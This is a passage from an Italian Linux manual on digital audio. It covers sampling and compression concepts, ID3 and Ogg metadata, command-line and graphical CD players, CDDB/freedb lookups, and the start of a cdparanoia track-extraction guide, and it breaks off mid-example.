35.8.1 MP3info 2016
35.8.2 LAME 2019
35.8.3 Toolame 2021
35.8.4 Vorbis Tools 2022
35.8.5 Flac 2025
35.8.6 Mpg321 2028
35.8.7 MP3blaster 2029
35.8.8 Xmms 2030
35.8.9 FreeAmp 2032
35.8.10 Zinf 2034

35.9 Audio attraverso la rete 2035

35.9.1 Icecast 1 2036
35.9.2 Ricezione di radio attraverso Internet 2040

35.10 Riferimenti 2043

`.cdservrc` 1962 `.disc-coverrc` 1972 `.libao` 2022 `audio` 1985 `cdsound-recorder` 1987 `disc-cover` 1972 `disc-cover.conf` 1972 `dsp` 1985 `gtcd` 1956 `libao.conf` 2022 `listen` 2039 midge 2008 `midi2mg` 2008 `ogg123` 2022 `oggdec` 2022 `oggenc` 2022 `ogginfo` 2022 `pcmC0D0c` 1985 `pcmC0D0p` 1985 `play-sample` 1987 `shout` 2038 `sound-recorder` 1987 `tcd` 1956 `vorbiscomment` 2022 `~/.cddb/` 1962

35.1 Numero ISRC

Prima ancora di affrontare gli aspetti tecnici legati alla gestione dell'audio in forma digitale, vale la pena di annotare il significato e lo scopo del numero ISRC (*International standard recording code*), che rappresenta un sistema di identificazione per tutte le registrazioni sonore, comprese quelle che si compongono anche di una parte video.

In pratica, questo numero viene richiesto da chi desidera controllare la diffusione e l'utilizzo di un opera sonora, ottenendo un'attribuzione univoca a una registrazione singola.

Volendo fare un'associazione con le pubblicazioni dei libri, questo numero è l'equivalente del numero ISBN (capitolo 69).

Per maggiori informazioni si può consultare l'indirizzo: ⟨*http://www.ifpi.org/content/section_resources/isrc.html*⟩.

35.2 Concetti generali sui formati audio digitali

Esistono alcuni concetti generali che riguardano i vari formati audio digitali, da conoscere, almeno superficialmente, per poter comprendere il significato delle funzioni dei programmi che generano o elaborano tali formati.

35.2.1 Composizione del suono

Si può considerare ogni tipo di suono come la somma di vibrazioni, ognuna con una propria frequenza di oscillazione e ampiezza. Per gestire il suono in modo elettrico, questo viene trasformato (analogicamente) in un segnale elettrico che oscilla riproducendo le stesse frequenze e un'ampiezza proporzionale tra le varie vibrazioni. Un suono si può rappresentare in un piano cartesiano, mettendo normalmente nell'asse orizzontale il tempo e in quello verticale la variazione di ciò che ne rappresenta il mezzo trasmissivo: la pressione dell'aria o il livello del segnale elettrico.

Figura 35.1. Se l'asse orizzontale rappresenta il tempo in millesimi di secondo (simbolo: «ms»), il disegno rappresenta un'oscillazione alla frequenza di 2000 cicli al secondo, ovvero 2000 Hz.

Figura 35.2. Comparazione tra due vibrazioni: la prima alla frequenza di 2000 Hz, la seconda alla frequenza di 7000 Hz, con un'ampiezza pari alla metà del prima.

Figura 35.3. Suono composto da due vibrazioni: la prima alla frequenza di 2000 Hz, la seconda alla frequenza di 7000 Hz, con un'ampiezza pari alla metà del prima.

35.2.2 Rappresentazione digitale del suono

Per poter rappresentare il suono in forma digitale (ovvero in forma numerica), occorre fare una semplificazione, che comporta la suddivisione del tempo in segmenti abbastanza piccoli, all'interno dei quali si va a misurare il livello dell'intensità di ciò che trasmette il suono (di solito si tratta del livello del segnale elettrico). In pratica, è come ridurre un diagramma continuo, in un istogramma che ne approssima la forma. Questo procedimento è la campionatura (*sampling*).

La campionatura digitale si misura in quantità di campioni prelevati al secondo, pertanto si misura in hertz (simbolo: «Hz»).

Si comprende intuitivamente che la riproduzione di un suono digitalizzato comporta la ricostruzione di una vibrazione ottenuta per interpolazione dei valori dei vari campioni; di conseguenza: maggiore è la frequenza di campionamento (*sampling rate*), migliore è la qualità della riproduzione che si può ottenere; inoltre, maggiore è la precisione del campione, migliore è la qualità del suono.

Sul piano teorico, si afferma che la frequenza massima che si vuole poter riprodurre richiede una frequenza di campionamento maggiore del doppio di questa. Per esempio, per riprodurre vibrazioni fino a 20000 Hz occorre una frequenza di campionamento superiore a 40000 Hz.

Figura 35.4. A sinistra: campionatura con valori numerici che possono essere sia positivi, sia negativi. A destra: campionatura con valori numerici che possono essere solo positivi.

35.2.3 Formati audio non compressi

I formati dei file audio non compressi, sono di tanti tipi, dove in particolare vanno considerate le caratteristiche dei campioni stessi. La tabella 35.5 descrive brevemente le caratteristiche di un file del genere.

Tabella 35.5. Caratteristiche di un file audio.

Caratteristica	Descrizione
dimensione del campione	La grandezza del campione, che di solito è in multipli di byte. Maggiore è la grandezza del campione, migliore è la qualità del suono memorizzato.
ordine dei byte	Il contenuto del campione va interpretato tenendo conto dell'ordine in cui vanno presi i byte, che possono essere nella sequenza normale (*big endian*) o a coppie scambiate (*little endian*).
codifica	Ogni campione rappresenta un numero, che può essere intero o a virgola mobile, da intendersi linearmente o come argomento di una funzione non lineare.
frequenza di campionamento	Il campionamento avviene a una frequenza regolare: maggiore è questa frequenza, migliore è la qualità del suono memorizzato.

Caratteristica	Descrizione
numero di canali	Generalmente si memorizzano uno o due canali, per una registrazione monofonica o stereofonica, tuttavia questi possono essere anche di più. Per ogni canale viene memorizzato un campione separato a ogni ciclo della frequenza di campionamento.
intestazione	Un file audio può essere grezzo o con intestazione, a seconda che contenga semplicemente la sequenza dei campioni o che prima di questa contenga la descrizione del suo formato.

Una registrazione audio di qualità equivalente a quella dei CD audio è fatta a campioni di 16 bit, a una frequenza di 44100 Hz; per arrivare al livello di un DAT (*Digital audio tape*) si passa a una frequenza di campionamento di 48000 Hz. Pertanto, un secondo di registrazione a qualità CD, in stereofonia, comporta l'utilizzo di 2·16·44100 = 1411200 bit, pari a 176400 byte; così, un secondo di registrazione a qualità DAT, in stereofonia, comporta l'impiego di 192000 byte.

È importante sottolineare la differenza che c'è tra un file audio con intestazione, rispetto a quello che non ne è provvisto: quando si passa un file audio grezzo a un programma che deve eseguirlo o elaborarlo, occorre specificare al programma tutte le caratteristiche del file, perché non può determinarle automaticamente. In particolare, occorre fare attenzione quando si trasferisce un file del genere da un'architettura a un'altra, dove nel passaggio può cambiare l'ordine dei byte.

35.2.4 Formati audio compressi

Dopo la campionatura di un'informazione sonora, è possibile applicare delle tecniche per ridurre le dimensioni dei dati, ovvero per ottenerne la compressione. Si distinguono due situazioni: la compressione senza perdita che consente la ricostruzione dei campioni originali, rispetto a una compressione con perdita di informazioni. I formati audio compressi sono diversi e si distinguono per l'algoritmo di compressione.

Nella realizzazione di un file audio compresso si stabilisce un parametro in più rispetto ai file non compressi: il flusso massimo di dati per unità di tempo, noto come *bit rate*. Naturalmente, maggiore è questo valore, migliore è la qualità del suono riprodotto. Generalmente, si ottiene una buona qualità di registrazione stereofonica con un tasso del flusso di dati di 128 kbit/s. In fase di creazione di un file audio di questo tipo, si può stabilire che il tasso del flusso di dati sia costante o variabile (nel secondo caso si parla di *variable bit rate* e si usa la sigla «VBR»); in particolare, in caso di tasso variabile potrebbe essere stabilito un valore medio o un intervallo di valori da rispettare.

Un file audio compresso, può limitarsi a contenere l'informazione sonora per la quale è stato realizzato, oppure può essere inserito in un «contenitore» (*container*), che consente l'inserimento di informazioni addizionali. Per esempio, il formato compresso Vorbis è contenuto normalmente in un formato Ogg, da cui il nome Ogg Vorbis. Per la stessa ragione, esiste un formato FLAC (normale) e un formato Ogg FLAC (FLAC contenuto in Ogg. Nel caso di MP3, il nome è ambiguo, perché può fare riferimento al contenitore o al contenuto audio compresso.

35.2.4.1 Informazioni di un contenitore MP3

Un file MP3 può includere delle informazioni importanti sul suo contenuto, oltre a ciò che è indispensabile per la riproduzione (come per esempio l'informazione sulla frequenza di campionamento). In generale, conviene stabilire questi dati nella fase di codifica del file stesso, mentre una parte di questi può essere modificata anche dopo.

Tabella 35.6. Informazioni comuni che possono essere inserite in un file MP3.

Informazione	Tipo	Significato
originale	booleano	Indica se il contenuto è originale.
copyright	booleano	Indica se il contenuto è coperto da copyright.
titolo	testo	Titolo della canzone o di ciò che è contenuto nel file.
artista	testo	Nome dell'artista o degli artisti.
album	testo	Nome dell'album di cui fa parte il contenuto del file.
anno	testo	Anno di edizione.
commento	testo	Commento aggiuntivo.
traccia	numero	Numero della traccia nel CD a cui si fa riferimento.
genere	numero	Genere, definito da un codice numerico prestabilito.

Tabella 35.7. Genere, secondo lo standard ID3.

Genere	Definizione	Genere	Definizione
0	Blues	1	Classic Rock
2	Country	3	Dance
4	Disco	5	Funk
6	Grunge	7	Hip-Hop
8	Jazz	9	Metal
10	New Age	11	Oldies
12	Other	13	Pop
14	R&B	15	Rap
16	Reggae	17	Rock
18	Techno	19	Industrial
20	Alternative	21	Ska
22	Death Metal	23	Pranks
24	Soundtrack	25	Euro-Techno
26	Ambient	27	Trip-Hop
28	Vocal	29	Jazz+Funk
30	Fusion	31	Trance
32	Classical	33	Instrumental
34	Acid	35	House
36	Game	37	Sound Clip
38	Gospel	39	Noise
40	Alt. Rock	41	Bass
42	Soul	43	Punk
44	Space	45	Meditative
46	Instrumental Pop	47	Instrumental Rock
48	Ethnic	49	Gothic
50	Darkwave	51	Techno-Industrial
52	Electronic	53	Pop-Folk
54	Eurodance	55	Dream
56	Southern Rock	57	Comedy
58	Cult	59	Gangsta Rap
60	Top 40	61	Christian Rap
62	Pop/Funk	63	Jungle
64	Native American	65	Cabaret

Genere	Definizione	Genere	Definizione
66	New Wave	67	Psychedelic
68	Rave	69	Showtunes
70	Trailer	71	Lo-Fi
72	Tribal	73	Acid Punk
74	Acid Jazz	75	Polka
76	Retro	77	Musical
78	Rock & Roll	79	Hard Rock
80	Folk	81	Folk/Rock
82	National Folk	83	Swing
84	Fast-Fusion	85	Bebob
86	Latin	87	Revival
88	Celtic	89	Bluegrass
90	Avantgarde	91	Gothic Rock
92	Progressive Rock	93	Psychedelic Rock
94	Symphonic Rock	95	Slow Rock
96	Big Band	97	Chorus
98	Easy Listening	99	Acoustic
100	Humour	101	Speech
102	Chanson	103	Opera
104	Chamber Music	105	Sonata
106	Symphony	107	Booty Bass
108	Primus	109	Porn Groove
110	Satire	111	Slow Jam
112	Club	113	Tango
114	Samba	115	Folklore
116	Ballad	117	Power Ballad
118	Rhythmic Soul	119	Freestyle
120	Duet	121	Punk Rock
122	Drum Solo	123	A Cappella
124	Euro-House	125	Dance Hall
126	Goa	127	Drum & Bass
128	Club-House	129	Hardcore
130	Terror	131	Indie
132	BritPop	133	Negerpunk
134	Polsk Punk	135	Beat
136	Christian Gangsta Rap	137	Heavy Metal
138	Black Metal	139	Crossover
140	Contemporary Christian	141	Christian Rock
142	Merengue	143	Salsa
144	Thrash Metal	145	Anime
146	JPop	147	Synthpop

Le informazioni più voluminose, come il titolo e le altre stringhe di testo, vanno aggiunte in coda al file MP3. Il modo in cui questi dati vengono segnalati nel file dipende da standard differenti che nel tempo sono stati aggiornati. In questo senso, alcuni programmi non aggiornati potrebbero anche non essere in grado di leggere ciò che viene scritto con standard più recenti.

35.2.5 Informazioni di un contenitore Ogg

Anche il contenitore Ogg consente l'inserimento di informazioni addizionali; in particolare un'intestazione composta da campi individuati da nomi. Non esistono campi descrittivi obbligatori e campi con lo stesso nome possono apparire più di una volta (per esempio nel caso dell'indicazione di più di un autore). La documentazione di Ogg propone uno standard nell'utilizzo dei campi descrittivi e in particolare vale la pena di considerare quelli seguenti:

Campo	Utilizzo
`TITLE`	titolo della traccia o dell'opera;
`ALBUM`	titolo della raccolta a cui appartiene la traccia;
`TRACKNUMBER`	numero della traccia, se si tratta di una raccolta;
`ARTIST`	artista esecutore o compositore dell'opera;
`COPYRIGHT`	informazioni sul diritto di autore relativo all'opera;
`LICENSE`	condizioni di utilizzo dell'opera;
`GENRE`	descrizione del genere dell'opera;
`ISRC`	numero ISRC di identificazione dell'opera (sezione 35.1).

Si può osservare in questo caso che non è stata prevista una classificazione preliminare dei generi.

35.3 Lettore CD audio

Se l'unità per CD-ROM è provvista di un'uscita audio autonoma (una presa stereo per cuffia sulla parte frontale), è possibile ascoltare dei CD musicali anche senza la presenza di un'interfaccia audio. Naturalmente, se è disponibile tale interfaccia, il lettore CD-ROM potrebbe esservi stato collegato attraverso un cavetto schermato, in modo da poter utilizzare le funzionalità della stessa scheda per rielaborare il suono.

È importante considerare che, di norma, un CD contenente tracce audio **non può essere innestato**: l'ascolto o l'estrazione delle tracce sono operazioni che richiedono normalmente programmi appositi che accedono direttamente al file di dispositivo.

Figura 35.9. La classica uscita per cuffia che si trova al lato sinistro dei lettori CD, con regolazione manuale del livello sonoro.

Figura 35.10. Schema del lato posteriore di un lettore CD-ROM ATAPI standard.

Figura 35.11. Cavetto di collegamento audio da un lettore CD a una scheda audio. Il filo rosso riguarda il canale destro, mentre il filo bianco quello sinistro; il connettore di colore bianco può essere usato per collegare una scheda audio poco comune.

Figura 35.12. Connessioni audio su una scheda madre tipica. Si può osservare che il connettore centrale è adibito esplicitamente all'ingresso audio proveniente da un lettore CD, dove il canale destro corrisponde al piedino del lato destro, guardando la figura.

35.3.1 Ascolto di un CD audio

Il software che si occupa di mettere in funzione il lettore CD-ROM come lettore di CD audio, interviene solo sul file di dispositivo corrispondente all'unità a cui si vuole fare riferimento (per esempio '`/dev/hd`***x***' per una unità ATAPI, oppure '`/dev/scd`***n***' o '`/dev/sr`***n***' per una unità differente); a volte si predispone per questo il collegamento simbolico '`/dev/cdrom`', in modo da facilitare l'utilizzo dei programmi relativi. Naturalmente, il file di dispositivo deve avere i permessi appropriati. Il segnale audio può essere prelevato direttamente dal lettore CD, oppure può essere gestito attraverso la scheda audio per mezzo di altro software.

Se la scheda audio non è di ottima qualità, potrebbe generare un rumore di fondo. Di conseguenza, per essere certi di prelevare il segnale più pulito possibile, è necessario utilizzare l'uscita del lettore CD stesso.

Il software che permette l'ascolto di un CD audio, non richiede di tenere sotto controllo il lettore, per cui potrebbe essere costituito anche da un semplice programma a riga di comando, come nel caso di '**`dcd`**'.

I programmi per l'ascolto di CD audio potrebbero comportarsi in maniera differente tra di loro, tanto che non va esclusa la presenza di errori tali da impedire lettura di CD che in condizioni normali risultano realizzati correttamente. In altri termini, se per qualche ragione non si riesce a leggere un CD audio attraverso l'uso di un certo programma, conviene tentare di utilizzarne altri, prima di arrivare alla conclusione che il CD o il lettore possano essere difettosi.

Molti programmi per l'ascolto di CD musicali abbinano anche la funzionalità di interrogazione della base di dati CDDB. Ciò viene descritto nella sezione 35.3.2.

35.3.1.1 Dcd

Dcd [1] è un programma di servizio molto semplice, composto dall'eseguibile '**dcd**', che segue la filosofia dei comandi a riga di comando, con tutti i vantaggi che ciò può dare. In pratica, senza impegnare una console virtuale o un terminale, manda al lettore i comandi richiesti di volta in volta. Dcd ha però un inconveniente: può accedere esclusivamente al file di dispositivo (o al collegamento) '/dev/cdrom'!

```
dcd [n_traccia...]
```

```
dcd {stop|restart|next|prev|info|dir|loop [n...]}
```

La sintassi è molto semplice: se si indica un numero ***n*** si intende avviare l'esecuzione della traccia ***n***-esima corrispondente; se si indicano più numeri si intende ottenere l'esecuzione di quelle tracce nella sequenza specificata; se si indica un'altra parola chiave, si vuole impartire il comando corrispondente:

Parola chiave	Descrizione
`stop`	ferma l'esecuzione (se non funziona basta selezionare la prima traccia e quindi usare il comando '**prev**');
`restart`	riavvia la traccia che si sta ascoltando;
`next`	passa alla traccia successiva;
`prev`	passa alla traccia precedente;
`info`	restituisce alcune informazioni sulla traccia attuale;
`dir`	elenca le tracce contenute nel CD;
`loop [n...]`	esegue la sequenza ripetendo quando raggiunge la fine della sequenza (in tal caso '**dcd**' impegna la shell).

Segue la descrizione di alcuni esempi.

- `$` **`dcd`** [*Invio*]

  Avvia l'esecuzione del primo brano del CD, proseguendo fino all'ultimo.

- `$` **`dcd 1`** [*Invio*]

  Esattamente come nell'esempio precedente.

- `$` **`dcd 1 3 5 7`** [*Invio*]

  Richiede l'esecuzione dei brani numero uno, tre, cinque e sette, in sequenza.

- `$` **`dcd next`** [*Invio*]

  Passa all'esecuzione del brano successivo.

35.3.1.2 TCD

TCD [2] è un pacchetto composto da due programmi: uno per lo schermo a caratteri e uno per il sistema grafico X. L'utilizzo è intuitivo e non occorrono molte spiegazioni. È importante osservare che il controllo del volume riguarda il lettore CD e non la scheda audio. In altri termini, si tratta del volume del segnale che viene generato dal lettore CD: sia quello che si ottiene attraverso l'uscita sul pannello frontale dell'unità, sia quello che viene inviato alla scheda audio (ammesso che esista) per mezzo del cavetto schermato interno all'elaboratore.

TCD richiede la presenza del file di dispositivo o del collegamento '`/dev/cdrom`', perché non prevede la possibilità di specificare un file di dispositivo differente per raggiungere l'unità CD.

La figura 35.14 mostra il funzionamento di TCD nella versione per terminali a caratteri, mentre la figura 35.15 mostra la versione per il sistema grafico X. Per quanto riguarda il secondo caso, si osservi che TCD si dovrebbe trovare incluso anche nella raccolta degli applicativi di Gnome; in tal caso, l'aspetto della versione grafica risulta essere un po' diversa rispetto a quanto si vede nella figura riportata qui.

Figura 35.14. Esempio del funzionamento di TCD nella versione per terminali a caratteri.

```
.-TCD v2.0, by Tim Gerla------Control Panel-----------------------------------.
|                            |                                                |
| Status: Paused             | [P] - Start playing.      [-] - Previous track.  |
| Track:  10 of 12           | [U] - Pause or restart.   [+] - Ne|t track.      |
| Time:   03:36              | [E] - Eject CDROM.        [G] - Go to track #.   |
| CD:     55:17              | [S] - Stop playing.       []] - Skip ahead.      |
|                            |                           [[] - Skip back.       |
|-Track List-----------------| [M] - Change play mode.   < > - Adjust volume.   |
|                            | Current Mode: Normal      Current Volume: 10%    |
| 01a - 06:10                |                                                |
| 02a - 06:21                |                                                |
| 03a - 03:22                |                                                |
| 04a - 04:06                |                                                |
| 05a - 05:51                |                                                |
| 06a - 08:05                | [T] - Edit track database.                     |
| 07a - 04:38                | [D] - Download CDDB data.                      |
| 08a - 05:10                |                                                |
| 09a - 07:55                |                                                |
| 10a - 08:29                | [Q] - Quit.                                    |
| 11a - 04:54                |                                                |
| 12a - 06:37                |-Disc Information-------------------------------|
|                            | Length: 71:40                                  |
|                            | Title:  Unknown / Unknown                      |
|                            | Track:  Track 10                               |
'-----------------------------------------------------------------------------'
```

Figura 35.15. Esempio del funzionamento di TCD nella versione grafica.

Gli eseguibili sono rispettivamente '**tcd**' e '**gtcd**'. La lettera «g» di '**gtcd**' sta per GTK+, ovvero le librerie grafiche utilizzate.

Una cosa interessante di TCD sta nel fatto che più copie dei suoi eseguibili possono funzionare in modo concorrenziale, risultando tutte perfettamente sincronizzate, a parte qualche difficoltà nella regolazione del volume.

35.3.1.3 Cdcd

Cdcd [3] è un altro programma per l'ascolto di CD musicali che consente un funzionamento a riga di comando, oppure in modo interattivo, ma sempre attraverso una console. La prima volta che viene avviato da ogni utente, richiede alcune informazioni elementari di configurazione, con cui crea il file '`~/.cdcdrc`':

`$` **`cdcd`** [*Invio*]

La prima cosa che viene richiesta è il file di dispositivo abbinato al lettore CD:

```
Welcome to cdcd 0.5.0.

You will now be asked a series of questions which will configure
cdcd for your platform.  The default answers are given
in brackets.

What is the name of your CD-ROM device? [/dev/cdrom]
```

Se esiste il collegamento simbolico '`/dev/cdrom`' che punta al dispositivo corretto, basta confermare con la pressione del tasto [*Invio*].

[*Invio*]

Successivamente, Cdcd cerca di ottenere le informazioni necessarie ad accedere alla rete, allo scopo di contattare una base di dati CDDB, oppure qualcosa di equivalente.

```
Are you connected to a network (y/n)? [y]
```

[*Invio*]

```
There are two methods of retrieving CD track information, CDDB and CD Index.
Using the CD Index will be somewhat faster, but does not yet facilitate inexact
matching.  Both methods may be used through HTTP proxy servers.

Choose a method:
1) CDDB
2) CD Index

Which method? [1]
```

Avendo confermato la disponibilità di un accesso alla rete, viene proposto di accedere a una base di dati CDDB, oppure a un altro tipo di indice. La scelta più comune è proprio la base di dati CDDB, come suggerito dal programma stesso.

[*Invio*]

```
Use a HTTP proxy server? [n]
```

In questo caso si suppone che non sia necessario utilizzare un proxy, per cui si conferma la proposta del programma.

[*Invio*]

```
cdcd version 0.5.0, Copyright (C)1998-99 Tony Arcieri
Distributed under the GNU General Public License. See file COPYING for details.
Built with libcdaudio 0.99.1
Enter ? for help.
cdcd>
```

Termina così la configurazione e il programma si mette a funzionare in una modalità interattiva, in attesa di comandi, dove l'invito è la stringa '**cdcd>**'. Per terminare basta dare il comando '**quit**'.

cdcd> **quit** [*Invio*]

Quando si avvia il programma, è comunque possibile specificare un file di dispositivo alternativo a quanto indicato nella configurazione, attraverso l'opzione '**-d**'. Nell'esempio seguente si suppone che l'unità CD sia collocata come prima unità ATAPI del secondo bus ATA:

$ **cdcd -d /dev/hdc** [*Invio*]

È già stato specificato che Cdcd può funzionare sia in modo non interattivo, a riga di comando, sia in modo interattivo. In pratica, l'eseguibile '**cdcd**' può essere avviato indicando un comando come argomento, per cui esegue la richiesta e termina di funzionare, oppure può essere avviato senza argomenti e in tal caso mostra un invito rimanendo in attesa di comandi. Naturalmente, i comandi in questione sono gli stessi, sia quando usati come argomento della riga di comando, sia quando usati nel funzionamento interattivo.

cdcd [***comando***]

Si ottiene l'elenco dei comandi disponibili con il comando '**`help`**', mentre per conoscere la sintassi precisa di ogni comando basta il comando '**`help`** ***nome_comando***'. Per esempio:

$ **`cdcd help`** [*Invio*]

```
cdcd commands:
 play    stop    open    close   pause   resume  ff      rew     sites
 next    prev    getvol  setvol  status  rndplay slot    list    submit
 info    tracks  edit    ext     refresh device  verbose quit    access

For more specific help, type 'help <command>'
```

$ **`cdcd help play`** [*Invio*]

```
Usage: play [starttrackname/track #] [endtrackname/track #] [min:sec]

By default, play starts at the beginning of the CD.  You may specify tracks
using either the number of the track or a section of the track's name.  The
disc will play from where it starts to the end of the disc or a track you
specify.  You may also specify a position within the first track to start.
```

La tabella 35.23 descrive brevemente i comandi principali di Cdcd.

Tabella 35.23. Comandi principali di Alcune opzioni della riga di comando di Cdcd.

Comando	Descrizione
`play`	Avvia l'esecuzione, dall'inizio o da una certa traccia.
`open` `eject`	Termina l'esecuzione ed espelle il CD dal lettore.
`pause`	Mette in pausa l'esecuzione del CD.
`resume`	Riprende l'esecuzione dopo una pausa.
`stop`	Termina l'esecuzione del CD.
`ff` `rew`	Fa avanzare o retrocedere rapidamente nell'ambito del brano che si sta ascoltando.
`next` `prev`	Fa avanzare alla traccia successiva o retrocedere alla traccia precedente.
`status`	Visualizza la situazione del CD.

`info`
`tracks`
`ext`
	Visualizza informazioni ottenibili attraverso CDDB.

Comando	Descrizione
`quit`	Termina il funzionamento di Cdcd quando questo funzionava in modalità interattiva.

35.3.1.4 AsCD

AsCD [4] è un programma grafico molto semplice, per il controllo dell'esecuzione di un CD audio. L'opzione più importante per l'avvio del programma è '**-device**', con la quale si specifica dove trovare il lettore CD:

```
ascd [-device unità_cd] [altre_opzioni]
```

Per esempio, potrebbe essere avviato così per controllare l'unità '/dev/hdc':

$ **ascd -device /dev/hdc** [*Invio*]

Figura 35.24. Aspetto di AsCD durante il funzionamento.

35.3.1.5 Gcd

Gcd [5] è un programma grafico per l'ascolto di CD musicali, ottenuto come riduzione di Grip, che invece ha molte più funzionalità. Gcd può funzionare in modo molto poco appariscente, come si vede nella figura 35.25, oppure anche come si vede nella figura 35.26. All'avvio cerca normalmente di contattare una base di dati CDDB e se la connessione fallisce, la cosa viene segnalata con un messaggio di errore in un riquadro separato.

Figura 35.25. Pannello normale di Gcd.

Figura 35.26. Pannello di Gcd con il dettaglio delle tracce.

Gcd si avvia con l'eseguibile '`gcd`' e oltre a questo non c'è molto da aggiungere, dal momento che il suo funzionamento interattivo è abbastanza intuitivo, guidato anche da etichette a scomparsa che descrivono il significato dei pulsanti grafici che appaiono sul pannellino di controllo.

35.3.2 CDDB

CDDB è una base di dati dei CD musicali offerta attraverso la rete. A fianco di servizi CDDB proprietari, il cui accesso può essere sottoposto a delle condizioni, esiste anche un servizio CDDB pubblico, corrispondente a Freedb.org (⟨*http://www.freedb.org*⟩).

Il protocollo usato per l'accesso a una base di dati CDDB è denominato CDDBP e utilizza la porta 888 o la porta 8880. Con questo protocollo si può interrogare il servizio utilizzando i pochi dati che fornisce il CD sui brani che contiene, oppure si possono fornire le informazioni conosciute sul CD, mettendole a disposizione di tutti. Molti programmi per l'ascolto di CD audio sono organizzati per l'interrogazione automatica di questo servizio, allo scopo di fornire tutte le notizie conosciute su ciò che si sta ascoltando.

Alcuni sistemi grafici integrati, come Gnome, utilizzano un programma cliente che si occupa di eseguire le interrogazioni per conto dei programmi che possono averne bisogno, come TCD (nella versione per Gnome). Nel caso di Gnome si tratta precisamente di '**cddbslave**', il quale poi memorizza le informazioni nella directory '~/.cddbslave/'.

La maggior parte dei programmi che si avvalgono del protocollo CDDBP concordano nel salvare le informazioni ricevute nella directory '~/.cddb/', in modo da evitare interrogazioni successive attraverso la rete, per i dati già raccolti. Inoltre, esiste un'altra convenzione abbastanza diffusa, che consiste nell'usare il file '~/.cdservrc' per indicare il servizio CDDB a cui ci si deve rivolgere; per esempio, il contenuto di questo file potrebbe corrispondere al testo seguente:

```
SERVER=cddbp://freedb.freedb.org:888/
ACCESS=REMOTE
```

Tanto per fare un esempio di come possa funzionare la cosa in generale, si fa riferimento a TCD nella versione per Gnome. Sul pannello frontale, tra le varie icone se ne trova una che permette di accedere alla finestra di inserimento e modifica delle informazioni sulle tracce. Queste informazioni sono memorizzate naturalmente nella propria directory personale. Si vede questa finestra nella figura 35.28. In questo caso appaiono anche i titoli dei vari brani, se così non fosse, si potrebbe interrogare la base di dati CDDB, come suggerisce il pulsante grafico nella parte bassa.

Figura 35.28. Finestra di accesso alle informazioni sulle tracce del CD musicale.

Disc Information (76:21 minutes)
Artist / Title
Vivaldi / The Four Seasons
Track Information

Trk	Time	Title
1	3:33	Concerto for Violin in E Major, "Spring"
2	2:10	Concerto for Violin in E Major, "Spring"
3	4:10	Concerto for Violin in E Major, "Spring"
4	5:33	Concerto for Violin in G minor, "Summer"
5	2:11	Concerto for Violin in G minor, "Summer"
6	3:00	Concerto for Violin in G minor, "Summer"
7	5:01	Concerto for Violin in F Major, "Autumn"
8	2:59	Concerto for Violin in F Major, "Autumn"
9	3:23	Concerto for Violin in F Major, "Autumn"
10	3:48	Concerto for Violin in F minor, "Winter"
11	1:58	Concerto for Violin in F minor, "Winter"
12	3:39	Concerto for Violin in F minor, "Winter"
13	4:19	Concerto for 2 Violins in A minor
14	4:19	Concerto for 2 Violins in A minor

CDDB Status

OK Annulla

Il servizio offerto da Freedb.org avviene per mezzo di diversi nodi di rete, a cui si accede normalmente attraverso il nome `freedb.freedb.org`, che si risolve in una serie di indirizzi alternativi:

$ **host freedb.freedb.org** [*Invio*]

```
freedb.freedb.org has address 203.16.234.30
freedb.freedb.org has address 64.71.163.204
freedb.freedb.org has address 130.179.31.49
freedb.freedb.org has address 193.201.200.74
freedb.freedb.org has address 195.37.77.155
```

Si osservi comunque che, normalmente, anche in mancanza di una configurazione precedente, il software che si utilizza dovrebbe essere già predisposto per interrogare correttamente questo indirizzo in modo predefinito.

35.3.3 Tracce CDDA

Le tracce audio di cui si compone un CD musicale sono in pratica dei file audio in un formato particolare. Anche se con qualche difficoltà, è possibile estrarre queste tracce e, teoricamente, si possono ricomporre masterizzando un nuovo CD.

> È importante ricordare che l'acquisto di un CD non dà implicitamente il diritto di farne quello che si vuole. In generale si ottiene solo il diritto di ascoltarlo per sé; mentre altre operazioni come la copia, l'esecuzione in pubblico e la trasmissione, sono attività che devono essere autorizzate espressamente da chi detiene i diritti di quella pubblicazione sonora, senza contare l'eventuale presenza di una tassa.

> Qui viene mostrato a titolo didattico il modo in cui le tracce audio di un CD possono essere estratte. Tuttavia, utilizzare questa tecnica per memorizzare tali brani in un'unità di memorizzazione qualunque, vuol dire farne una «copia», ovvero un'azione che normalmente è vietata da chi possiede i diritti sulla pubblicazione relativa.

L'estrazione delle tracce da un CD non è necessariamente un'operazione illegale, anche se la prima idea che viene in mente a chiunque è quella di fare così delle copie digitali perfette. In certi casi può essere l'unico modo per riuscire ad ascoltare un CD attraverso un lettore in cui l'uscita audio non funziona; in ultima analisi potrebbe essere il modo per realizzare un sistema audio completamente digitale fino all'ultima fase del processo di elaborazione che si vuole attuare.

In generale, per estrarre le tracce audio da un CD si utilizzano programmi come Cdda2wav, Cdparanoia e Grip. Il problema più difficile dell'estrazione dei brani è quello di riuscire a individuarne correttamente l'inizio e la fine, oltre alla necessità di seguire correttamente la traccia senza salti.

35.3.3.1 Cdparanoia

Cdparanoia[6] è in grado di estrarre le tracce audio di un CD in modo digitale, senza passare per l'elaborazione della scheda audio. Può generare diversi tipi di formati, tuttavia al principiante conviene un formato con intestazione, come il WAV-RIFF. Si compone di un eseguibile unico, '**`cdparanoia`**':

`cdparanoia` [***opzioni***] ***intervallo_di_esecuzione*** [***file_da_generare***]

La caratteristica più importante di questo applicativo sta nel fatto che è in grado di leggere e rileggere più volte le tracce audio in modo da escludere errori, attraverso il confronto delle letture successive.

A parte il caso in cui venga utilizzata l'opzione '**`-B`**', è obbligatorio specificare l'intervallo di tracce e di tempo di registrazione. Semplificando al massimo, si tratta dell'intervallo di tracce espresso semplicemente nella forma ***m*-*n***, dove ***m*** è la traccia iniziale e ***n*** quella finale. Nella pagina di manuale *cdparanoia(1)* si può leggere una spiegazione un po' più dettagliata che permette di individuare meglio la porzione desiderata.

Opzione	Descrizione
`-d` ***unità_cd*** `--force-cdrom-device` ***unità_cd***	Stabilisce quale unità usare attraverso l'indicazione del file di dispositivo.
`-w` `--output-wav`	Genera un formato WAV-RIFF.
`-B` `--batch`	Genera una serie di file, uno per ogni traccia.
`-Z` `--disable-paranoia`	Disabilita il processo di rilettura e correzione degli errori.

Segue la descrizione di alcuni esempi.

- `$` **`cdparanoia -d /dev/hdc -w 1 mio_file.wav`** [*Invio*]

  Crea il file '`mio_file.wav`' ottenuto dalla prima traccia del CD contenuto nel lettore, corrispondente al file di dispositivo '`/dev/hdc`'.

- `$` **`cdparanoia -d /dev/hdc -w 1-2 mio_file.wav`** [*Invio*]

